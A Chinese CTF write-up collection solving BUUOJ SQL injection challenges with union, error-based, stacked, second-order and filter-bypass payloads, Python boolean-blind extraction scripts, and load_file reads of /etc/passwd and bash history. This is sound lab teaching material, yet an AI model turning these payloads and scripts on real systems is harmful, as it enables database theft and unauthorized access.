sql注入合集-buuoj

19 篇文章 1 订阅

[极客大挑战 2019]EasySQL

题目考点:sql注入万能密码

访问网址,尝试登录

check.php?username=admin&password=123

在这里插入图片描述
显示用户名密码错误。尝试单引号注入发现报错:

check.php?username=admin'&password=123

在这里插入图片描述
尝试后发现后加%23回显就又正常了,%23即#,这里需编码后使用。

check.php?username=admin'%23&password=123

在这里插入图片描述
尝试万能密码 or 1=1,发现就得到了flag。
在这里插入图片描述





[极客大挑战 2019]LoveSQL

题目考点:字符型注入

在这里插入图片描述

username=1&password=123				//显示 NO,Wrong username password!!!
username=1'&password=123			//报错
username=1'#&password=123			//显示 NO,Wrong username password!!!
username=1' or 1=1#&password=123	//显示 Login Success!Hello admin!Your password is 'xxx'

开始尝试order by猜字段数
username=1' order by 4#&password=123	//显示 Unknown column '4' in 'order clause'
username=1' order by 3#&password=123	//显示 NO,Wrong username password,说明有3个字段

开始爆库、爆表、爆列、爆字段
username=1' union select 1,2,3#&password=123			//显示 Hello 2!Your password is '3',这里表明有2,3两个回显位
username=1' union select 1,database(),3#&password=123	//得到库名“geek”
username=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#&password=123	//得到表名“geekuser,l0ve1ysq1”
username=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#&password=123	//得到列名“id,username,password”
username=1' union select 1,group_concat(password),3 from l0ve1ysq1#&password=123	//得到flag

在这里插入图片描述




[极客大挑战 2019]BabySQL

题目考点:字符型注入、双写绕过

在这里插入图片描述

username=1&password=123				//显示 NO,Wrong username password!!!
username=1'&password=123			//报错
username=1'#&password=123			//显示 NO,Wrong username password!!!
username=1' or 1=1#&password=123	//显示 Error!

看来是存在过滤了,尝试后发现可以异或注入,Fuzz模糊测试一下。
在这里插入图片描述
发现被过滤了好多啊,尝试双写绕过,成功。

以下内容都是填在框中的,这里这么写只是为了方便表述。当然的,在hackbar下只需要将#改成%23即可。

username=1' oorr 1=1#&password=123	//显示 Login Success!

开始尝试order by猜字段数
username=1' oorrder bbyy 4#&password=123	//显示 Unknown column '4' in 'order clause'
username=1' oorrder bbyy 3#&password=123	//显示 NO,Wrong username password,说明有3个字段

开始爆库、爆表、爆列、爆字段
username=1' ununionion seselectlect 1,2,3#&password=123			//显示 Hello 2!Your password is '3',这里表明有2,3两个回显位
username=1' ununionion seselectlect 1,database(),3#&password=123	//得到库名“geek”
username=1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()#&password=123	//得到表名“b4bsql,geekuser”
username=1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#&password=123	//得到列名“id,username,password”
username=1' ununionion seselectlect 1,group_concat(passwoorrd),3 frfromom b4bsql#&password=123	//得到flag

在这里插入图片描述





[极客大挑战 2019]HardSQL

题目考点:报错注入

在这里插入图片描述

经测试,发现过滤了很多关键字,进行FUZZ一下得到以下关键字都被过滤

在这里插入图片描述

不过发现报错注入的关键字 updatexmlextractvalue 并没有被过滤,or 也没被过滤,空格被过滤使用()代替,等号被过滤用 like 代替。

# 得到库名 geek
?username=1'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23&password=111

# 得到表名 H4rDsq1
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=111

# 得到列名 id,username,password
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=111

# 查看字段值,发现只有一半flag值
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=111

在这里插入图片描述
后半段内容可以通过 right() 或 reverse() 等函数进行读取还原。

?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',right(password,23)))from(H4rDsq1)),0x7e),1))%23&password=111

拼接一下得到最终flag。




[极客大挑战 2019]FinalSQL

题目考点:布尔盲注

经过尝试,发现存在异或注入,传入 id=1^2id=3 的结果一致。
在这里插入图片描述

过滤了一些字符,FUZZ一下得到以下字符被过滤
在这里插入图片描述

就可以利用布尔盲注获取flag

import requests,re,time

res = ''
url = 'http://6b059bea-9773-473c-93d3-528407e27a5d.node4.buuoj.cn/search.php?id='
for i in range(172,240):
	print(i,end='\t')
	high = 128
	low = 32
	mid = (low + high) // 2
	while high > low:
		# 得到库名 geek
		payload = "1^(ascii(substr((select(database())),{},1))>{})".format(i,mid)
		# 得到表名 F1naI1y,Flaaaaag
		payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})".format(i,mid)
		# 得到列名 id,username,password
		payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{},1))>{})".format(i,mid)
		# 得到字段值
		payload = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})".format(i,mid)
		#print(payload)
		r = requests.get(url+payload)
		if 'ERROR' in r.text:
			low = mid + 1
		else:
			high = mid
		mid = (low + high) // 2

	res += chr(int(mid))
	print(res)
	# 速度太快,网站会崩
	time.sleep(0.3)



[强网杯 2019]随便注

题目考点:堆叠注入、rename的使用

访问网址
在这里插入图片描述

输入 1' 报错, 1'# 显示正常,说明存在注入。
输入 1' order by 2# 显示正常,输入 1' order by 3# 报错。
输入 1' union select 1,2# 返回一个正则过滤规则,几乎常用的字段都被过滤了。

在这里插入图片描述

尝试堆叠注入

1';show databases#

成功回显:
在这里插入图片描述
在这里插入图片描述
得到两个表 1919810931114514words
words表里的字段:

1';show columns from words#

在这里插入图片描述
发现words表字段为id和data,这和最开始回显的内容对应。
在这里插入图片描述
猜测回显的就是words表里的内容。
再来看看1919810931114514 表的内容,数据库中全数字组成的表需要用反引号`括起来。

1';show columns from `1919810931114514`#

在这里插入图片描述
发现这张表有我们想要的flag。
回显的是words表里的id和data,那怎么取出1919810931114514表里的flag呢?
骚操作:改名。
没有过滤alterrename,那就将1919810931114514表改名为words,将flag字段改为id。

1、在MySQL中,RENAME语句修改表名。基本语法格式如下:
	RENAME TABLE 旧表名 TO 新表名;
2、在MySQL中,ALTER TABLE语句修改数据表的字段名。基本语法格式如下:
	ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

最终payload:

1';rename table words to aaa;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show columns from words;#

在这里插入图片描述
接着只要输入 1' or '1'='1 就能拿到flag。
在这里插入图片描述

方法二:利用预编译语句

1';SET @sql = CONCAT('sel','ect',' * from `1919810931114514`;');PREPARE air from @sql;EXECUTE air;#

在这里插入图片描述





[SUCTF 2019]EasySQL

题目考点:堆叠注入、pipes_as_concat的使用

访问网址:
在这里插入图片描述
尝试了一下,发现回显的就三种样子:
成功回显就会有存在Array字眼;
失败回显就是空;
被过滤了就是Nonono。

Fuzz模糊测试了一下,发现过滤了一大堆:
在这里插入图片描述
尝试了一下堆叠注入,成功回显:

1;show databases;

在这里插入图片描述

1;show tables;

在这里插入图片描述

1;show columns from tables;

在这里插入图片描述
该死的,查看了一下之前Fuzz的结果,发现from被过滤了。
经过百度,发现原理是

select $_GET['query'] || flag from flag

还发现原来没有过滤*,导致了非预期解。
在这里插入图片描述
预期解:

知识点:
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数concat相类似。
在oracle 缺省支持 通过“||”来实现字符串拼接,但在mysql缺省不支持。需要调整mysql 的sql_mode 模式为pipes_as_concat。

所以payload如下:

1;set sql_mode=pipes_as_concat;select 1

在这里插入图片描述





[CISCN2019 华北赛区 Day2 Web1]Hack World

题目考点:sql异或注入、布尔盲注

尝试后发现过滤了一些东西,
发现异或注入可以用
在这里插入图片描述
那就Fuzz模糊测试一下:
在这里插入图片描述
发现过滤了一大堆东西,不过ascii、mid、substr、from等没有被过滤,空格被过滤直接括号代替,直接上脚本:

import requests

url='http://65eecc40-ec4a-4f27-bb05-b615122057de.node3.buuoj.cn/index.php'
res = ""

for i in range(1,50):
    print(i,end='\t')
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "1^(ascii(mid((select(flag)from(flag)),{},1))>{})".format(i,mid)
        #print(payload)
        data = {"id":payload}
        r = requests.post(url, data = data)
        if 'Error' in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    res += chr(int(mid))
    print(res)

在这里插入图片描述





[GXYCTF2019]BabySQli

题目考点:联合查询利用

在这里插入图片描述
BP抓包尝试:
在这里插入图片描述
发现一串奇怪的东西,像是base32加密,尝试base32解码
后再base64解码得到:

select * from user where username = '$name'

尝试一些其他的name发现是wrong user!,而尝试admin是wrong pass!

尝试:

name=1&pw=123					//显示wrong user!
name=1'&pw=123					//报错
name=1'%23&pw=123				//显示wrong user!

name=1' or 1=1 %23&pw=123		//显示do not hack me!,猜测过滤了or

name=1' Order by 4 %23&pw=123	//大小写绕过,显示Error: Unknown column '4' in 'order clause'
name=1' Order by 3 %23&pw=123	//显示wrong user!,说明有3列

name=1' union select 1,2,3 %23&pw=123		//显示wrong user!
name=1' union select 'admin',2,3 %23&pw=123	//显示wrong user!
name=1' union select 1,'admin',3 %23&pw=123	//显示wrong pass!,说明用户在第二列

这里由于回显的机制,没法常规注入爆库、爆表。但是这里却有一点可以利用,就是联合注入时查出来的是我们自己填的值,见下图:
在这里插入图片描述
也就是admin的password会被我们自己填的值所替代,尝试:

name=1' union select 1,'admin',3 %23&pw=3

还是回显的wrong pass!,猜测后台经过md5加密,尝试一下:

name=1' union select 1,'admin','eccbc87e4b5ce2fe28308fd9f2a7baf3' %23&pw=3

这里eccbc87e4b5ce2fe28308fd9f2a7baf3就是3的md5值,拿到最终flag。
在这里插入图片描述





[Black Watch 入群题]Web

题目考点:布尔盲注

在Network处可以查看到一个疑似sql注入的网址:
在这里插入图片描述
尝试后发现if、ascii、substr没被过滤,可以布尔盲注。空格被过滤了用括号代替。
直接放python脚本:

import requests

url = 'http://c1d20405-bb2c-4c4d-9eb2-1695e618b54d.node3.buuoj.cn/backend/content_detail.php?id=1'
res = ''

'''
#数据库名
for i in range(0,40):
	print('i = '+str(i))
	for j in range(32,127):
		payload = "^if(ascii(substr(database(),{},1))={},3,0)".format(str(i),str(j))
		txt = requests.get(url+payload)
		if '0xpoker' in txt.text:
			res += chr(j)
			print('j =',j,'\tres =',res)

#结果:database()=news
'''

'''
#表名
for i in range(0,40):
	print('i = '+str(i))
	for j in range(32,127):
		payload = "^if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={},3,0)".format(str(i),str(j))
		txt = requests.get(url+payload)
		if '0xpoker' in txt.text:
			res += chr(j)
			print('j =',j,'\tres =',res)

#结果:table_name=admin,content
'''

'''
#列名
for i in range(0,40):
	print('i = '+str(i))
	for j in range(32,127):
		payload = "^if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x61646d696e)),{},1))={},3,0)".format(str(i),str(j))
		txt = requests.get(url+payload)
		if '0xpoker' in txt.text:
			res += chr(j)
			print('j =',j,'\tres =',res)

#结果:column_name=id,username,password,is_enable
'''

#字段值
for i in range(0,40):
	print('i = '+str(i))
	for j in range(32,127):
		payload = "^if(ascii(substr((select(group_concat(is_enable))from(admin)),{},1))={},3,0)".format(str(i),str(j))
		txt = requests.get(url+payload)
		if '0xpoker' in txt.text:
			res += chr(j)
			print('j =',j,'\tres =',res)
#结果:id:1,2
#结果:username:d9ca673c,451fe314
#结果:password:36eb03b9,c5d884a5
#结果:is_enable:0,1

使用username=451fe314、password=c5d884a5进行登录,成功拿到flag。
在这里插入图片描述




[网鼎杯 2018]Fakebook

题目考点:源码泄露、sql联合注入、ssrf、文件读取

在这里插入图片描述
扫描后发现敏感文件robots.txtflag.php文件,访问robots.txt得到/user.php.bak源码备份,访问flag.php却没结果。
在这里插入图片描述

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        //CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        //curl_exec():执行 cURL 会话
        $output = curl_exec($ch);
        //CURLINFO_HTTP_CODE : 最后一个收到的HTTP代码
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
    	//调用get()方法执行我们传入的blog,这里就存在着SSRF漏洞;
    	//之前我们访问flag.php没有结果,那我们在这里可以使用file文件协议访问flag.php,由服务器给我们执行再返回结果。
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        //blog里执行输入这些,输入其他的就会被过滤掉
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

先去注册一个用户并显示:
在这里插入图片描述

view.php?no=2				//回显不正常
view.php?no=2 or 1=1		//回显正常,说明存在注入点

开始尝试order by猜字段数
view.php?no=1 order by 5	//报错,[*] query error! (Unknown column '5' in 'order clause')
view.php?no=1 order by 4	//回显正常,说明有4个字段

开始爆库、爆表、爆列、爆字段
view.php?no=0 union select 1,2,3,4	//报错,no hack ~_~
view.php?no=0 union  select 1,2,3,4	//回显正常,猜测过滤了“union select”,但是union和select都没有被过滤,中间弄成两个空格即可绕过。而且username处显示了数字2,说明此处就是回显位。
view.php?no=0 union  select 1,database(),3,4	//爆出数据库“fakebook”
view.php?no=0 union  select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()	//爆出表名“users”
view.php?no=0 union  select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'	//爆出“no,username,passwd,data”
view.php?no=0 union  select 1,data,3,4 from users	//爆出“ O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";} ”

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}

可以看出表中存的是反序列化的结果,那我们自己构造反序列化结果传入,使用file协议读取flag.php。其余的不变,就是将s:13:"www.baidu.com";改为s:29:"file:///var/www/html/flag.php";即可,我偷懒不写程序来反序列化,因为反序列化的构成就是固定的s:内容长度:"内容";
那么最终payload:

view.php?no=0 union  select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

这里需要注意,union select 1,2,3,4,写在第4个位置上是因为程序执行的是blog,写在之前的第2个位置上没用的。最终拿到flag。
在这里插入图片描述
方法二:
没有过滤load_file()方法,那么直接读就好了,payload:

view.php?no=0 union  select 1,load_file('/var/www/html/flag.php'),3,4

在这里插入图片描述





[网鼎杯2018]Unfinish

题目考点:二次注入

首页就是登录,猜测有个register.php。当然扫描就能得到。
在这里插入图片描述

随便注册一个账号,然后进行登录。
在这里插入图片描述

登录后发现注册的用户名显示出来了。猜测此处可能存在二次注入
在这里插入图片描述

回到注册解密,发现在用户名处填入 , 会显示 nnnnoooo!!!,说明存在过滤。
FUZZ测试一下,发现被过滤的有:

tab(%09)、逗号(,)、information、%0a、%a0

在这里插入图片描述
从单引号的长度发现和其他的不一样,测试一下,发现并不是被过滤,而是单引号会引起sql语句报错,导入注册不成功。
尝试注册1' and '0,发现确实可以注册成功,用户名显示为0

# 使用 + 运算符
select '0'+'123a';  #结果为123
# 尝试获取数据库名的第一个字符
select '0'+ascii(substr(database(),1,1))+'0';
# 不过逗号被过滤,可使用 from for 代替
select '0'+ascii(substr(database() from 1 for 1))+'0';

进行测试,注册一个 0'+ascii(substr(database() from 1 for 1))+'0用户,得到119,ascii码值为w
在这里插入图片描述
说明思路正确,不过由于 information 表被过滤,直接猜测存在一个 flag 表,写exp得到flag:

import requests
import re
import time

def main():
	flag = ''
	url = 'http://d13edc9f-d5fa-4cf4-bd5c-002272cc9e73.node4.buuoj.cn/'
	url_register = url + 'register.php'
	url_login = url + 'login.php'
	for i in range(100):
		email = "air{}@air.com".format(i)
		payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i)
		data_register = {"email" : email, "username" : payload, "password" : "air"}
		data_login = {"email" : email, "password" : "air"}
		requests.post(url_register, data=data_register)
		rl = requests.post(url_login, data=data_login)
		res = re.findall(r'<span class="user-name">\s*(\d+)\s*</span>',rl.text)
		flag = flag+chr(int(res[0]))
		print(flag)
		# 速度太快,网站会崩
		time.sleep(1)

if __name__ == '__main__':
	main()




[网鼎杯 2018]Comment

题目考点: git泄露、二次注入、load_file()使用

发帖提示要登录,由 zhangwei*** 猜测弱口令,爆破得到 zhangwei666
在这里插入图片描述

控制台处看到提示,猜测git泄露

在这里插入图片描述

使用 githack 工具进行提取,得到 write_do.php 内容如下:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

使用如下内容查看所有分支的所有操作记录,包括commit和reset的操作,包括已经被删除的commit记录

git log --reflog

在这里插入图片描述

使用如下命令进行强制恢复到指定 comment_id 所指的记录。

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

得到恢复后的write_do.php 内容:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

在write部分使用addslashes()函数进行了过滤

$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);

但是在comment部分对从数据库中取出的category没有过滤,这就造成了二次注入

$category = mysql_fetch_array($result)['category'];

addslashes过滤后产生的 \ 不会被写入到数据库中,即 '1 过滤后变成 \'1,到库中后仍为 '1,取出数据后进行二次拼接,就造成了二次注入。

#插入到 board 表中
$sql = "insert into board set category = '$category',
		title = '$title',
		content = '$content'";

#从 board 表中取出的 category 直接拼接到语句中插入到 comment 表中造成二次注入
$sql = "insert into comment set category = '$category',
		content = '$content',
		bo_id = '$bo_id'";

尝试构造恶意语句:

# 发帖处传入 category=',content = user(),/*
insert into board set category = '\',content = user(),/*',
			title = '1',
			content = '1';
# 此时 board 表里的 category=',content = user(),/*

# 提交留言处传入 content=*/#,回到sql语句本身,取出 category 的值进行拼接
insert into comment set category = '',content = user(),/*',
						content = '*/#',
						bo_id = '1';
# 此时二次注入成功,content的值变为了恶意构造的 user(),得到结果

在这里插入图片描述
为了方便操作,根据分析写出 exp:

import requests,re

url_base = 'http://5dda4395-a17a-411a-8dcc-75f5c7a03c8d.node4.buuoj.cn/'
session = requests.Session()
# 登录
url_login = url_base + 'login.php'
data_login = {
    'username': 'zhangwei',
    'password': 'zhangwei666'
}
session.post(url_login, data=data_login)

# 发帖
url_write = url_base + 'write_do.php?do=write'
# 这里操作时需要不断的修改 id 和 payload 的值
id = '1'
#payload = "',content=user(),/*"
#payload = "',content=database(),/*"
#payload = "',content=(select group_concat(table_name) from information_schema.tables where table_schema=database()),/*"
#payload = "',content=(select group_concat(column_name) from information_schema.columns where table_name='user'),/*"
payload = "',content=(select group_concat(id,'~',username,'~',password) from user),/*"
data_write = {
    'category': payload,
    'content': 'air',
    'title': 'air'
}
session.post(url_write, data=data_write)

# 留言
url_comment = url_base + 'write_do.php?do=comment'
data_comment = {
    'content': '*/#',
    'bo_id': id
}
session.post(url_comment, data=data_comment)

# 查看结果
url_res = url_base + 'comment.php?id=' + id
r = session.get(url_res)
match = re.findall('<div class="col-sm-5"><p>(.*?)</p></div>', r.text)
if match:
    print(match[0])

经常规操作,发现表有 board,comment,user 三张,不过没有什么重要信息。猜测 flag 不在数据库,尝试使用 load_file 加载文件查看。

修改 exp 里的 id 和 payload:

payload = "',content=(select load_file('/etc/passwd')),/*"

得到
在这里插入图片描述
查看www用户的历史操作命令

payload = "',content=(select load_file('/home/www/.bash_history')),/*"

得到

cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start

经分析,/var/www/html/下的 .DS_Store 被删除了,但是 /tmp/html 还在,读取

payload = "',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*"

获取到的是16进制值,使用 010Editor 打开查看到存在一个 flag_8946e1ff1ee3e40f.php
在这里插入图片描述
读取flag

payload = "',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*"

exp:

import requests,re

url_base = 'http://32e5d91b-45e9-49a0-9726-096897de6b88.node4.buuoj.cn/'
session = requests.Session()
# 登录
url_login = url_base + 'login.php'
data_login = {
    'username': 'zhangwei',
    'password': 'zhangwei666'
}
session.post(url_login, data=data_login)

# 发帖
url_write = url_base + 'write_do.php?do=write'
id = '1'
payload = "',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*"
data_write = {
    'category': payload,
    'content': 'air',
    'title': 'air'
}
session.post(url_write, data=data_write)

# 留言
url_comment = url_base + 'write_do.php?do=comment'
data_comment = {
    'content': '*/#',
    'bo_id': id
}
session.post(url_comment, data=data_comment)

# 查看结果
url_res = url_base + 'comment.php?id=' + id
r = session.get(url_res)
match = re.findall('<div class="col-sm-5"><p>(.*?)</p></div>', r.text, re.S)
if match:
    print(match[0])




  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值